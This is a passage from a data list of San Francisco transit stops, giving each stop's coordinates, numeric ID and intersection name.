Bartlett'], ['37.72514,-122.41354', '16788', 'University St and Bacon St'], ['37.767162,-122.437225', '16232', 'Roosevelt Way and 14th St'], ['37.7366,-122.38588', '13922', 'Cashmere St and Whitney Young Cir'], ['37.775451,-122.463975', '13923', 'Cabrillo St and 6th Ave'], ['37.73573,-122.38354', '13920', 'Cashmere St and Hudson Ave'], ['37.73585,-122.38695', '13921', 'Cashmere St and La Salle Ave'], ['37.77365,-122.50983', '13926', 'Cabrillo St and La Playa St'], ['37.773321,-122.509934', '13927', 'Cabrillo St and La Playa St'], ['37.773421,-122.507767', '13924', 'Cabrillo St and 47th Ave'], ['37.773287,-122.507985', '13925', 'Cabrillo St and 47th Ave'], ['37.78258,-122.47097', '14048', 'Clement St and 12th Ave'], ['37.74842,-122.41043', '13928', 'Cesar Chavez St and Alabama St'], ['37.74845,-122.40909', '13929', 'Cesar Chavez St and Bryant St'], ['37.78249,-122.47312', '14049', 'Clement St and 14th Ave'], ['37.778958,-122.443791', '16723', 'Turk St and Lyon St'], ['37.74965,-122.43621', '14372', 'Diamond St and 25th St'], ['37.782835,-122.414217', '16721', 'Turk St and Leavenworth St'], ['37.782461,-122.417197', '16720', 'Turk St and Larkin St'], ['37.777905,-122.453281', '16727', 'Turk St and Parker Ave'], ['37.78218,-122.41926', '16726', 'Turk St and Polk St'], ['37.719102,-122.475633', '14789', 'Gonzalez Dr and Cardenas Ave'], ['37.732401,-122.433855', '14788', 'San Jose Ave/Glen Park Station'], ['37.732525,-122.433416', '14787', 'San Jose Ave/Glen Park Station'], ['37.721413,-122.393595', '14786', 'Gilman Ave and Jennings St'], ['37.72035,-122.391729', '14785', 'Gilman Ave and Ingalls St'], ['37.777754,-122.453476', '16728', 'Turk St and Parker Ave'], ['37.722458,-122.395415', '14783', 'Gilman Ave and 3rd St'], ['37.735482,-122.506821', '14782', 'Great Hwy and Sloat Blvd'], ['37.74544,-122.50755', '14781', 'Lower Great Hwy and Rivera St'], ['37.76737,-122.510456', '14780', 'GREAT HWY/near Beach Chalet'], ['37.751494,-122.456224', '15821', 'Olympia Way and Clarendon Ave'], ['37.755304,-122.455411', '15820', 'Oakpark Dr and Forest Knolls Dr'], ['37.75128,-122.453073', '15823', 'Olympia Way and Dellbrook Ave'], ['37.751343,-122.454391', '15822', 'Olympia Way and Dellbrook Ave'], ['37.713328,-122.462585', '15825', 'Orizaba Ave and Broad St'], ['37.751298,-122.452271', '15824', 'Olympia Way and Panorama Dr'], ['37.752885,-122.466479', '15827', 'Ortega St and 10th Ave'], ['37.752778,-122.465631', '15826', 'Ortega St and 9th Ave'], ['37.744481,-122.450678', '15829', "100 O'Shaughnessy Blvd"], ['37.750927,-122.507509', '15828', 'Ortega St and 48th Ave'], ['37.739791,-122.409746', '14147', 'Cortland Ave and Bradford St'], ['37.73931,-122.41872', '14146', 'Cortland Ave and Bocana St'], ['37.784882,-122.463621', '14140', 'Cornwall St and 5th Ave'], ['37.73904,-122.41658', '14143', 'Cortland Ave and Andover St'], ['37.73909,-122.41639', '14142', 'Cortland Ave and Andover St'], ['37.79342,-122.397749', '13857', 'California St and Davis St'], ['37.785977,-122.456321', '13854', 'California St and Commonwealth St'], ['37.793589,-122.397462', '13855', 'California St and Davis St'], ['37.786042,-122.456835', '13852', 'California St and Cherry St'], ['37.785974,-122.456329', '13853', 'California St and Cherry St'], ['37.793144,-122.39987', '13851', 'California St and Battery St'], ['37.747853,-122.43607', '14375', 'Diamond St and 26th St'], ['37.788087,-122.44087', '13858', 'California St and Divisadero St'], ['37.787954,-122.440721', '13859', 'California St and Divisadero St'], ['37.784392,-122.446289', '16099', 'Presidio Ave and Sutter St'], ['37.784535,-122.446197', '16098', 'Presidio Ave and Sutter St'], ['37.78897,-122.44704', '16091', 'Presidio Ave and Clay St'], ['37.78918,-122.44726', '16090', 'Presidio Ave and Clay St'], ['37.78267,-122.44593', '16093', 'Presidio Ave and Geary Blvd'], ['37.782706,-122.445796', '16092', 'Presidio Ave and Geary Blvd'], ['37.79071,-122.4474', '16095', 'Presidio Ave and Jackson St'], ['37.790905,-122.447607', '16094', 'Presidio Ave and Jackson St'], ['37.786328,-122.446759', '16097', 'Presidio Ave and Pine St'], ['37.786239,-122.44653', '16096', 'Presidio Ave and Pine St'], ['37.736835,-122.445867', '16659', '636 Teresita Blvd'], ['37.73679,-122.445672', '16658', '636 Teresita Blvd'], ['37.7629,-122.389664', '16657', 'Tennessee St and 18th St'], ['37.802605,-122.406457', '16656', 'TELEGRAPH Hill Blvd and Greenwich St'], ['37.802721,-122.406617', '16655', 'TELEGRAPH Hill Blvd and Greenwich St'], ['37.801846,-122.405735', '16654', 'TELEGRAPH Hill Blvd and Filbert St'], ['37.802988,-122.40664', '16653', '225 TELEGRAPH Hill Blvd'], ['37.803006,-122.406789', '16652', '225 TELEGRAPH Hill Blvd'], ['37.801766,-122.405677', '16651', '115 TELEGRAPH Hill Blvd'], ['37.78965,-122.39633', '16650', 'TRANS BAY TERMINAL/RAMP S'], ['37.722379,-122.434563', '15919', 'Persia Ave and Paris St'], ['37.722406,-122.434276', '15918', 'Persia Ave and Paris St'], ['37.79318,-122.40122', '16327', 'Sansome St and California St'], ['37.719702,-122.428963', '15915', 'Persia Ave and Moscow St'], ['37.719728,-122.428676', '15914', 'Persia Ave and Moscow St'], ['37.720853,-122.431356', '15917', 'Persia Ave and Naples St'], ['37.72088,-122.43107', '15916', 'Persia Ave and Naples St'], ['37.721612,-122.432959', '15911', 'Persia Ave and Madrid St'], ['37.721638,-122.432673', '15910', 'Persia Ave and Madrid St'], ['37.722941,-122.435765', '15913', 'Persia Ave and Mission St'], ['37.723147,-122.435845', '15912', 'Persia Ave and Mission St'], ['37.794699,-122.404741', '14820', 'Kearny St and Clay St'], ['37.791872,-122.41098', '13880', 'California St and Mason St'], ['37.70709,-122.41293', '16385', 'Schwerin St and Macdonald Ave'], ['37.706528,-122.413359', '16384', 'Schwerin St and Geneva Ave'], ['37.71036,-122.41151', '16387', 'Schwerin St and Sunnydale Ave'], ['37.829265,-122.369623', '13679', 'Avenue M and 13th St'], ['37.769313,-122.451756', '16381', 'Shrader St and Haight St'], ['37.77403,-122.45285', '16380', 'Shrader St and Grove St'], ['37.70906,-122.41198', '16383', 'Schwerin St and Garrison Ave'], ['37.70931,-122.412', '16382', 'Schwerin St and Garrison Ave'], ['37.747263,-122.395879', '14556', 'Evans Ave and Napoleon St'], ['37.747343,-122.396257', '14557', 'Evans Ave and Napoleon St'], ['37.82695,-122.377402', '13670', 'Avenue B and Gateview Ave'], ['37.824165,-122.375421', '13671', 'AVENUE B and Gateview AVE'], ['37.737672,-122.379252', '14552', 'Evans Ave and Middle Point Rd'], ['37.740699,-122.384507', '14553', 'Evans Ave and Mendell St'], ['37.73877,-122.380797', '14550', 'Evans Ave and Keith St'], ['37.738761,-122.381084', '14551', 'Evans Ave and Keith St'], ['37.731481,-122.446692', '15429', 'Monterey Blvd and Edna St'], ['37.756781,-122.505749', '13580', '46th Ave and Lawton St'], ['37.756612,-122.505577', '13581', '46th Ave and Lawton St'], ['37.773932,-122.446513', '15001', 'Hayes St and Masonic Ave'], ['37.77429,-122.442862', '15000', 'Hayes St and Lyon St'], ['37.77317,-122.452502', '15007', 'Hayes St and Shrader St'], ['37.775146,-122.436253', '15006', 'Hayes St and Scott St'], ['37.752829,-122.505322', '13586', '46th Ave and Noriega St'], ['37.775413,-122.434177', '15004', 'Hayes St and Pierce St'], ['37.751187,-122.505366', '13588', '46th Ave and Ortega St'], ['37.751017,-122.505194', '13589', '46th Ave and Ortega St'], ['37.77296,-122.454148', '15009', 'Hayes St and Stanyan St'], ['37.773042,-122.452756', '15008', 'Hayes St and Shrader St'], ['37.765938,-122.403802', '13290', '16th St and Kansas St'], ['37.786346,-122.402075', '17827', '3rd St and Mission St'], ['37.735387,-122.501345', '16448', 'Sloat Blvd and 43rd Ave'], ['37.719395,-122.447611', '16271', 'San Jose Ave and Niagra Ave'], ['37.71969,-122.44754', '16270', 'San Jose Ave and Niagra Ave'], ['37.72322,-122.44441', '16273', 'San Jose Ave and Ocean Ave'], ['37.72774,-122.44101', '16272', 'San Jose Ave and Nantucket Ave'], ['37.722862,-122.44479', '16275', 'San Jose Ave and Ocean Ave'], ['37.723085,-122.444699', '16274', 'San Jose Ave and Ocean Ave'], ['37.739741,-122.424157', '16277', 'San Jose Ave and Randall St'], ['37.719371,-122.425767', '1905', 'DUBLIN ST and BRAZIL AVE'], ['37.78316,-122.439526', '14422', 'Divisadero St and Geary Blvd'], ['37.771329,-122.436983', '14423', 'Divisadero St and Haight St'], ['37.776763,-122.438243', '14420', 'Divisadero St and Fulton St'], ['37.783375,-122.439412', '14421', 'Divisadero St and Geary Blvd'], ['37.774889,-122.437865', '14426', 'Divisadero St and Hayes St'], ['37.79154,-122.44108', '14427', 'Divisadero St and Jackson St'], ['37.77105,-122.4371', '14424', 'Divisadero St and Haight St'], ['37.775059,-122.437739', '14425', 'Divisadero St and Hayes St'], ['37.794638,-122.409637', '16077', 'Powell St and Washington St'], ['37.789061,-122.408642', '16076', 'Powell St and Sutter St'], ['37.789132,-122.408493', '16075', 'Powell St and Sutter St'], ['37.79296,-122.409443', '16074', 'Powell St and Sacramento St'], ['37.79288,-122.409259', '16073', 'Powell St and Sacramento St'], ['37.788195,-122.408299', '16072', 'Powell St and Post St'], ['37.788392,-122.408505', '16071', 'Powell St and Post St'], ['37.791078,-122.409066', '16070', 'Powell St and Pine St'], ['37.77214,-122.43076', '14952', 'Haight St and Fillmore St'], ['37.772069,-122.430198', '14953', 'Haight St and Fillmore St'], ['37.771293,-122.437373', '14950', 'Haight St and Divisadero St'], ['37.771231,-122.436743', '14951', 'Haight St and Divisadero St'], ['37.77021,-122.44535', '14956', 'Haight St and Masonic Ave'], ['37.77025,-122.445671', '14957', 'Haight St and Masonic Ave'], ['37.72041,-122.42617', '16079', 'Prague St and Brazil Ave'], ['37.7204,-122.42605', '16078', 'Prague St and Brazil Ave'], ['37.784314,-122.408576', '17309', 'Cyril Magnin St and Eddy St'], ['37.791066,-122.400949', '17302', 'Bush St and Sansome St'], ['37.765226,-122.447757', '14082', 'Clayton St and Parnassus Ave'], ['37.729264,-122.392638', '17346', 'Third Street and Williams Ave'], ['37.722449,-122.39561', '17347', 'Third Street/Gilman/Paul'], ['37.725464,-122.394256', '17344', 'Third Street and Carroll Ave'], ['37.729291,-122.392604', '17345', 'Third Street and Williams Ave'], ['37.722413,-122.395644', '17342', 'Third Street/Gilman/Paul'], ['37.725491,-122.394222', '17343', 'Third Street and Carroll Ave'], ['37.712244,-122.402328', '17340', 'Bay Shore Blvd/Arleta/Blanken'], ['37.718809,-122.397468', '17341', 'Third Street and Le Conte Ave'], ['37.71957,-122.47226', '15137', 'Junipero Serra Blvd and Garfield St'], ['37.71463,-122.47191', '15136', 'Junipero Serra Blvd and Font Blvd'], ['37.710707,-122.471324', '15135', 'JUNIPERO SERRA BLVD/S.F. Golf Club'], ['37.71355,-122.47126', '15134', 'Junipero Serra Blvd and Brotherhood Way'], ['37.71775,-122.47238', '15133', 'Junipero Serra Blvd and 19th Ave'], ['37.718738,-122.499913', '15132', 'John Muir Dr and Skyline Blvd'], ['37.718996,-122.500028', '15131', 'John Muir Dr and Skyline Blvd'], ['37.71677,-122.49766', '15130', '655 John Muir Ave'], ['37.75451,-122.401694', '13452', '23rd St and Rhode Island St'], ['37.75442,-122.40494', '13453', '23rd St and Utah St'], ['37.754448,-122.402668', '13450', '23RD ST and KANSAS ST'], ['37.754395,-122.403631', '13456', '23rd St and Vermont St'], ['37.75481,-122.39856', '13457', '23rd St and Wisconsin St'], ['37.754298,-122.405304', '13454', '23rd St and Utah St'], ['37.75448,-122.40391', '13455', '23rd St and Vermont St'], ['37.752853,-122.409281', '13458', '24th St and Bryant St'], ['37.752755,-122.408971', '13459', '24th St and Bryant St'], ['37.764983,-122.419835', '13293', '16th St and Mission St'], ['37.761711,-122.449212', '14088', 'Cole St and 17th St'], ['37.78879,-122.43392', '13862', 'California St and Fillmore St'], ['37.782642,-122.397435', '17826', '3rd St and Harrison St'], ['37.72006,-122.45806', '14914', 'Grafton Ave and Miramar Ave'], ['37.731659,-122.441915', '15424', 'Monterey Blvd and Congo St'], ['37.71119,-122.39747', '17009', 'Blanken Ave and Nueva Ave'], ['37.71121,-122.39723', '17008', 'Blanken Ave and Nueva Ave'], ['37.717371,-122.472813', '17001', '19th Ave and Junipero Serra Blvd'], ['37.77709,-122.39498', '17000', '4th St and Townsend St'], ['37.783992,-122.408066', '17003', 'Cyril Magnin St and Market St'], ['37.7421,-122.426511', '17002', '30th St and Church St'], ['37.798401,-122.401907', '17005', 'Broadway and Sansome St'], ['37.823245,-122.374986', '17004', 'Avenue B and 9th Ave'], ['37.711,-122.39636', '17007', 'Blanken Ave and Gillette Ave'], ['37.71097,-122.39661', '17006', 'Blanken Ave and Gillette Ave'], ['37.73821,-122.39824', '15883', 'Palou Ave and Rankin St'], ['37.750834,-122.402121', '15229', 'Kansas St and 26th St'], ['37.751887,-122.402223', '15228', 'Kansas St and 25th St'], ['37.76017,-122.508777', '15223', 'Judah/La Playa/Ocean Beach'], ['37.76034,-122.509075', '15222', 'Judah/La Playa/Ocean Beach'], ['37.760363,-122.509011', '15221', 'Judah/La Playa/Ocean Beach'], ['37.76195,-122.470572', '15220', 'Judah St and Funston Ave'], ['37.75443,-122.402485', '15227', 'Kansas St and 23rd St'], ['37.76482,-122.403617', '15226', 'Kansas St and 17th St'], ['37.760828,-122.495964', '15225', 'Judah St and Sunset Blvd'], ['37.760912,-122.495565', '15224', 'Judah St and Sunset Blvd'], ['37.75933,-122.40993', '13738', 'Bryant St and 20th St'], ['37.72586,-122.42046', '14588', 'Felton St and Harvard St'], ['37.762656,-122.460511', '15886', 'Parnassus Ave and 4th Ave'], ['37.792122,-122.409088', '1740', 'POWELL ST and CALIFORNIA ST'], ['37.76121,-122.48973', '17091', 'Judah St and 31st Ave'], ['37.805785,-122.42049', '1742', 'HYDE STREET TURNABLE IN IB'], ['37.804544,-122.41517', '1743', 'TAYLOR STREET TURNABLE OUT OB'], ['37.804544,-122.41517', '1744', 'TAYLOR STREET TURNABLE IN IB'], ['37.78476,-122.407819', '1745', 'POWELL STREET TURNABLE OUT OB'], ['37.784778,-122.407613', '1746', 'POWELL STREET TURNABLE IN IB'], ['37.794594,-122.411506', '1747', 'REFERENCE and REFERENCE'], ['37.794585,-122.411551', '1748', 'REFERENCE and REFERENCE'], ['37.792122,-122.409088', '1749', 'POWELL ST and CALIFORNIA ST'], ['37.712606,-122.419093', '17175', 'SUNNYDALE AVE and PERSIA AVE'], ['37.712449,-122.402293', '17174', 'Bay Shore Blvd and Arleta Ave'], ['37.775781,-122.497202', '13061', 'Balboa St and 37th Ave'], ['37.76074,-122.40406', '16892', 'Vermont St and 19th St'], ['37.722404,-122.395667', '17171', 'PAUL AVE and CARR ST'], ['37.742709,-122.387931', '17170', '3RD ST and EVANS AVE'], ['37.7381,-122.469053', '16897', 'West Portal Ave and 14th Ave'], ['37.775503,-122.500617', '13064', 'Balboa St and 40th Ave'], ['37.736485,-122.470519', '16899', 'West Portal Ave and 15th Ave'], ['37.737859,-122.469042', '16898', 'West Portal Ave and 14th Ave'], ['37.775186,-122.510313', '13068', 'Balboa St and La Playa St'], ['37.708837,-122.405067', '17179', 'BAY SHORE BLVD and SUNNYDALE AVE'], ['37.74261,-122.387851', '17178', '3RD ST and EVANS AVE'], ['37.78507,-122.40951', '15357', 'Mason St and Ellis St'], ['37.797351,-122.412009', '15356', 'Mason St and Broadway'], ['37.797208,-122.411825', '15355', 'Mason St and Broadway'], ['37.71877,-122.41136', '15354', 'Mansell St and Visitacion Ave'], ['37.718957,-122.411257', '15353', 'Mansell St and University St'], ['37.720516,-122.405323', '15352', 'Mansell St and Somerset St'], ['37.720418,-122.405094', '15351', 'Mansell St and Somerset St'], ['37.721541,-122.401394', '15350', 'Mansell St and San Bruno Ave'], ['37.800902,-122.412729', '15359', 'Mason St and Filbert St'], ['37.800965,-122.41258', '15358', 'Mason St and Filbert St'], ['37.79418,-122.400282', '16290', 'Sacramento St and Battery St'], ['37.76561,-122.43538', '14310', 'Castro St and 15th St'], ['37.764164,-122.435254', '14311', 'Castro St and 16th St'], ['37.76427,-122.43544', '14312', 'Castro St and 16th St'], ['37.76237,-122.43508', '14313', 'Castro St and 17th St'], ['37.760836,-122.434934', '14314', 'Castro St and 18th St'], ['37.760747,-122.435071', '14315', 'Castro St and 18th St'], ['37.75939,-122.43491', '14316', 'Castro St and 19th St'], ['37.75916,-122.43479', '14317', 'Castro St and 19th St'], ['37.75778,-122.43477', '14318', 'Castro St and 20th St'], ['37.757632,-122.434636', '14319', 'Castro St and 20th St'], ['37.748833,-122.473799', '17573', 'Quintara St and 17th Ave'], ['37.793003,-122.396549', '15729', 'Metro Embarcadero Station/Downtown'], ['37.72008,-122.453', '14911', 'Grafton Ave and Harold Ave'], ['37.70982,-122.42443', '14807', 'Geneva Ave and Brookdale Ave'], ['37.761619,-122.423955', '13333', '18th St and Guerrero St'], ['37.74585,-122.38705', '13119', '3rd St and Cargo Way'], ['37.760765,-122.438154', '13332', '18th St and Eureka St'], ['37.7253,-122.3942', '13116', '3rd St and Carroll Ave'], ['37.72567,-122.3943', '13115', '3rd St and Carroll Ave'], ['37.779285,-122.393185', '13114', '3rd St and Brannan St'], ['37.73228,-122.391559', '13113', '3rd St and Bayview St'], ['37.72307,-122.44478', '17047', 'San Jose Ave and Ocean Ave'], ['37.750337,-122.387501', '13111', '3rd St and Cesar Chavez St'], ['37.75255,-122.38786', '13110', '3rd St and 25th St'], ['37.72866,-122.431217', '16415', 'Silver Ave and Mission St'], ['37.761486,-122.426236', '13330', '18th St and Dolores St'], ['37.728776,-122.431114', '16414', 'Silver Ave and Mission St'], ['37.805411,-122.422106', '15465', 'North Point St and Larkin St'], ['37.755316,-122.388001', '17177', '3RD ST and 23RD ST'], ['37.729014,-122.416109', '16417', 'Silver Ave and Princeton St'], ['37.7138,-122.40679', '17040', 'Rutland St and Arleta Ave'], ['37.7371,-122.39663', '16416', 'Silver Ave and Palou Ave'], ['37.725681,-122.442442', '16288', 'San Jose Ave and Santa Ynez Ave'], ['37.760586,-122.441087', '13335', '18th St and Hattie St'], ['37.7315,-122.40885', '16411', 'Silver Ave and Merrill St'], ['37.761521,-122.423646', '13334', '18th St and Guerrero St'], ['37.752596,-122.414208', '14678', 'Folsom St and 24th St'], ['37.778542,-122.414813', '15727', 'Metro Civic Center Station/Downtn'], ['37.75397,-122.48088', '15740', 'Noriega St and 23rd Ave'], ['37.754042,-122.482773', '15741', 'Noriega St and 24th Ave'], ['37.753881,-122.483014', '15742', 'Noriega St and 25th Ave'], ['37.75398,-122.48385', '15743', 'Noriega St and 26th Ave'], ['37.753782,-122.485168', '15744', 'Noriega St and 27th Ave'], ['37.753898,-122.485993', '15745', 'Noriega St and 28th Ave'], ['37.753692,-122.48731', '15746', 'Noriega St and 29th Ave'], ['37.753754,-122.489201', '15747', 'Noriega St and 30th Ave'], ['37.753593,-122.489453', '15748', 'Noriega St and 31st Ave'], ['37.75375,-122.49028', '15749', 'Noriega St and 32nd Ave'], ['37.77537,-122.44929', '14226', 'Fulton St and Clayton St'], ['37.79853,-122.46036', '15725', 'Montgomery St and Moraga Ave'], ['37.77159,-122.50363', '14220', 'Fulton St and 43rd Ave'], ['37.77159,-122.50704', '14221', 'Fulton St and 46th Ave'], ['37.77148,-122.50631', '14222', 'Fulton St and 46th Ave'], ['37.774372,-122.458507', '14223', 'Fulton St and Arguello Blvd'], ['37.726355,-122.43351', '15586', 'Mission St and Excelsior Ave'], ['37.74592,-122.41959', '15587', 'Mission St and Fair Ave'], ['37.774604,-122.454714', '16479', 'Stanyan St and Fulton St'], ['37.766449,-122.452914', '16478', 'Stanyan St and Frederick St'], ['37.72454,-122.43481', '15582', 'Mission St and Brazil Ave'], ['37.741052,-122.422759', '15583', 'Mission St and Cortland Ave'], ['37.73334,-122.42682', '15580', 'Mission St and Bosworth St'], ['37.73334,-122.42683', '15581', 'Mission St and Bosworth St'], ['37.773316,-122.418622', '16473', 'South Van Ness Ave and Mission St'], ['37.711698,-122.432103', '16472', 'South Hill Blvd and Rolph St'], ['37.711234,-122.431771', '16471', 'South Hill Blvd and Rolph St'], ['37.73469,-122.475215', '17594', 'Sloat Blvd. and 19th Ave.'], ['37.76533,-122.45269', '16477', 'Stanyan St and Carl St'], ['37.748056,-122.420064', '17592', 'Cesar Chavez St. and Valencia St.'], ['37.793589,-122.395548', '16475', 'Spear St and Market St'], ['37.72533,-122.36793', '16474', 'Spear Ave and Cochrane St'], ['37.758426,-122.463856', '17308', '7th Ave and Lawton St'], ['37.791831,-122.394792', '17759', 'Mission and Main St'], ['37.765544,-122.477243', '17758', 'Cross Over Dr&Lincoln St'], ['37.721485,-122.472713', '15037', 'Holloway Ave and Junipero Serra Blvd'], ['37.740849,-122.465835', '17755', 'West Portal Ave&Ulloa St'], ['37.740884,-122.465766', '17754', 'Ulloa St and West portal t'], ['37.773084,-122.422301', '17757', 'Haight St and Gough St'], ['37.735162,-122.392886', '17756', 'Palou Ave&Newhall St'], ['37.748339,-122.41138', '17751', 'C. Chavez St&Harrison St'], ['37.748374,-122.409558', '17750', 'C. Chavez St&Florida St'], ['37.739848,-122.424077', '17753', 'San Jose& Randall St'], ['37.739821,-122.424283', '17752', 'San jose& Randall St'], ['37.7655,-122.47774', '15308', 'Lincoln Way and 19th Ave'], ['37.741854,-122.504706', '13598', '46th Ave and Taraval St'], ['37.801157,-122.433057', '13939', 'Chestnut St and Buchanan St'], ['37.801308,-122.432863', '13938', 'Chestnut St and Buchanan St'], ['37.772898,-122.397969', '1844', 'REFERENCE and REFERENCE'], ['37.748234,-122.418369', '13935', 'Cesar Chavez St and Mission St'], ['37.7482,-122.41163', '13934', 'Cesar Chavez St and Harrison St'], ['37.799837,-122.44442', '13937', 'Chestnut St and Broderick St'], ['37.748305,-122.415756', '13936', 'Cesar Chavez St and South Van Ness Ave'], ['37.74834,-122.41398', '13931', 'Cesar Chavez St and Folsom St'], ['37.74823,-122.40976', '13930', 'Cesar Chavez St and Florida St'], ['37.7484,-122.4119', '13933', 'Cesar Chavez St and Harrison St'], ['37.74815,-122.41382', '13932', 'Cesar Chavez St and Folsom St'], ['37.782621,-122.415856', '16718', 'Turk St and Hyde St'], ['37.783039,-122.412577', '16719', 'Turk St and Jones St'], ['37.778914,-122.445246', '16716', 'Turk St and Central Ave'], ['37.778762,-122.445441', '16717', 'Turk St and Central Ave'], ['37.778093,-122.451699', '16714', 'Turk St and Chabot Ter'], ['37.778012,-122.451367', '16715', 'Turk St and Chabot Ter'], ['37.779511,-122.440295', '16712', 'Turk St and Broderick St'], ['37.779359,-122.440489', '16713', 'Turk St and Broderick St'], ['37.779288,-122.442174', '16710', 'Turk St and Baker St'], ['37.80177,-122.45656', '15262', 'Lincoln Blvd and Anza St'], ['37.709638,-122.434828', '14138', 'Cordova Ave and Winding Way'], ['37.709504,-122.434588', '14139', 'Cordova Ave and Winding Way'], ['37.742872,-122.48045', '16620', 'Taraval St and 23rd Ave'], ['37.751269,-122.396517', '14130', 'Connecticut St and 26th St'], ['37.750002,-122.39622', '14131', 'Connecticut St and Cesar Chavez St'], ['37.749868,-122.396381', '14132', 'Connecticut St and Cesar Chavez St'], ['37.82952,-122.48402', '14133', 'CONZELMAN RD/Kirby Cove'], ['37.82944,-122.48354', '14134', 'CONZELMAN RD/Kirby Cove'], ['37.83309,-122.48355', '14135', 'Conzelman Rd/GGNRA entrance sign'], ['37.832836,-122.483291', '14136', 'Conzelman Rd/GGNRA entrance sign'], ['37.710182,-122.434874', '14137', 'Cordova Ave and Prague St'], ['37.775056,-122.419321', '15692', 'Market St and South Van Ness Ave'], ['37.79426,-122.39491', '15693', 'Market St and Steuart St'], ['37.783671,-122.490513', '13843', 'California St and 30th Ave'], ['37.765689,-122.43114', '15691', 'Market St and Sanchez St'], ['37.785703,-122.459288', '13845', 'California St and Arguello Blvd'], ['37.783578,-122.490087', '13844', 'California St and 30th Ave'], ['37.785857,-122.405744', '15694', 'Market St and Stockton St'], ['37.782316,-122.410228', '15695', 'Market St and Taylor St'], ['37.793296,-122.399813', '13849', 'California St and Battery St'], ['37.78762,-122.443384', '13848', 'California St and Baker St'], ['37.72136,-122.42762', '15698', 'Moscow St and Brazil Ave'], ['37.7229,-122.42647', '15699', 'Moscow St and Excelsior Ave'], ['37.78538,-122.44672', '14465', 'Euclid Ave and Presidio Ave'], ['37.802844,-122.443514', '14430', 'Divisadero St and North Point St'], ['37.753331,-122.498848', '15755', 'Noriega St and 40th Ave'], ['37.7264,-122.41874', '14583', 'Felton St and Cambridge St'], ['37.764248,-122.388853', '17176', '3RD ST and MARIPOSA ST'], ['37.74113,-122.42284', '15584', 'Mission St and Cortland Ave'], ['37.76546,-122.47524', '15307', 'Lincoln Way and 17th Ave'], ['37.78399,-122.45666', '14462', 'Euclid Ave and Jordan Ave'], ['37.782798,-122.466158', '14044', 'Clement St and 8th Ave'], ['37.7828,-122.469', '14045', 'Clement St and 10th Ave'], ['37.735523,-122.446325', '16668', 'Teresita Blvd and Foerster St'], ['37.7827,-122.47116', '14047', 'Clement St and 12th Ave'], ['37.78309,-122.46257', '14040', 'Clement St and 4th Ave'], ['37.78299,-122.46195', '14041', 'Clement St and 4th Ave'], ['37.783,-122.46479', '14042', 'Clement St and 6th Ave'], ['37.782856,-122.464331', '14043', 'Clement St and 6th Ave'], ['37.7377,-122.446634', '16662', 'Teresita Blvd and Bella Vista Way'], ['37.738931,-122.44605', '16663', 'Teresita Blvd and El Sereno Ct'], ['37.733953,-122.446359', '16660', '900 Teresita Blvd'], ['37.73399,-122.44664', '16661', '900 Teresita Blvd'], ['37.735693,-122.446462', '16666', 'Teresita Blvd and Foerster St'], ['37.734345,-122.448776', '16667', 'Teresita Blvd and Foerster St'], ['37.738967,-122.446245', '16664', 'Teresita Blvd and El Sereno Ct'], ['37.743063,-122.451182', '16665', 'Teresita Blvd and Evelyn Way'], ['37.732239,-122.457768', '15968', 'Plymouth Ave and Mangels Ave'], ['37.70741,-122.45653', '15585', 'Mission St and Evergreen St'], ['37.77597,-122.42302', '14580', 'Fell St and Gough St'], ['37.720113,-122.456221', '15960', 'Plymouth Ave and Grafton Ave'], ['37.721934,-122.456232', '15961', 'Plymouth Ave and Holloway Ave'], ['37.721764,-122.456038', '15962', 'Plymouth Ave and Holloway Ave'], ['37.71817,-122.45606', '15963', 'Plymouth Ave and Lakeview Ave'], ['37.718454,-122.456209', '15964', 'Plymouth Ave and Lakeview Ave'], ['37.71501,-122.45613', '15965', 'Plymouth Ave and Lobos St'], ['37.71484,-122.45605', '15966', 'Plymouth Ave and Lobos St'], ['37.73209,-122.45765', '15967', 'Plymouth Ave and Mangels Ave'], ['37.769161,-122.446851', '13665', 'Ashbury St and Waller St'], ['37.765146,-122.445877', '13664', 'Ashbury St and Piedmont St'], ['37.72465,-122.4261', '13667', 'Athens St and Avalon Ave'], ['37.76901,-122.446656', '13666', 'Ashbury St and Waller St'], ['37.767154,-122.446278', '13661', 'Ashbury St and Frederick St'], ['37.765298,-122.446072', '13663', 'Ashbury St and Piedmont St'], ['37.769937,-122.446851', '13662', 'Ashbury St and Haight St'], ['37.730941,-122.37376', '15099', 'Innes Ave and Fitch St'], ['37.72311,-122.42729', '13669', 'Athens St and Excelsior Ave'], ['37.72155,-122.42846', '13668', 'Athens St and Brazil Ave'], ['37.74903,-122.397069', '14549', 'Evans Ave and Cesar Chavez St'], ['37.749066,-122.396886', '14548', 'Evans Ave and Cesar Chavez St'], ['37.717323,-122.47297', '13363', '19th Ave and Junipero Serra Blvd'], ['37.754215,-122.43757', '14541', 'Eureka St and 22nd St'], ['37.754367,-122.437742', '14540', 'Eureka St and 22nd St'], ['37.761594,-122.43828', '14543', 'Eureka St and Market St'], ['37.75279,-122.43759', '14542', 'Eureka St and 23rd St'], ['37.731041,-122.474538', '14545', 'Eucalyptus Dr and 19th Ave'], ['37.731157,-122.474744', '14544', 'Eucalyptus Dr and 19th Ave'], ['37.742628,-122.387862', '14547', 'Evans Ave and 3rd St'], ['37.730988,-122.472442', '14546', 'Eucalyptus Dr and Junipero Serra Blvd'], ['37.741823,-122.50449', '16638', 'Taraval St and 46th Ave'], ['37.789746,-122.403724', '14826', 'Kearny St and Sutter St'], ['37.783387,-122.409895', '16733', 'Turk St and Taylor St'], ['37.72988,-122.37527', '14827', 'Kirkwood Ave and Dormitory Rd'], ['37.78195,-122.42107', '16734', 'Turk St and Van Ness Ave'], ['37.71202,-122.40068', '13692', 'Blanken Ave and Tunnel Ave'], ['37.74072,-122.48722', '16735', 'Ulloa St and 30th Ave'], ['37.747288,-122.504928', '13593', '46th Ave and Quintara St'], ['37.747457,-122.5051', '13592', '46th Ave and Quintara St'], ['37.749161,-122.505067', '13591', '46th Ave and Pacheco St'], ['37.737725,-122.429531', '13693', 'Bemis St and Addison St'], ['37.743567,-122.504662', '13597', '46th Ave and Santiago St'], ['37.743737,-122.504834', '13596', '46th Ave and Santiago St'], ['37.72193,-122.45028', '15038', 'Howth St and Geneva Ave'], ['37.71978,-122.45164', '15039', 'Howth St and Mt Vernon Ave'], ['37.721592,-122.472954', '15036', 'Holloway Ave and Junipero Serra Blvd'], ['37.796126,-122.405027', '14822', 'Kearny St and Jackson St'], ['37.72161,-122.471797', '15034', 'Holloway Ave and Beverly St'], ['37.72133,-122.47433', '15035', 'Holloway Ave and Denslowe Dr'], ['37.75241,-122.44074', '15032', 'Hoffman Ave and 23rd St'], ['37.75103,-122.440561', '15033', 'Hoffman 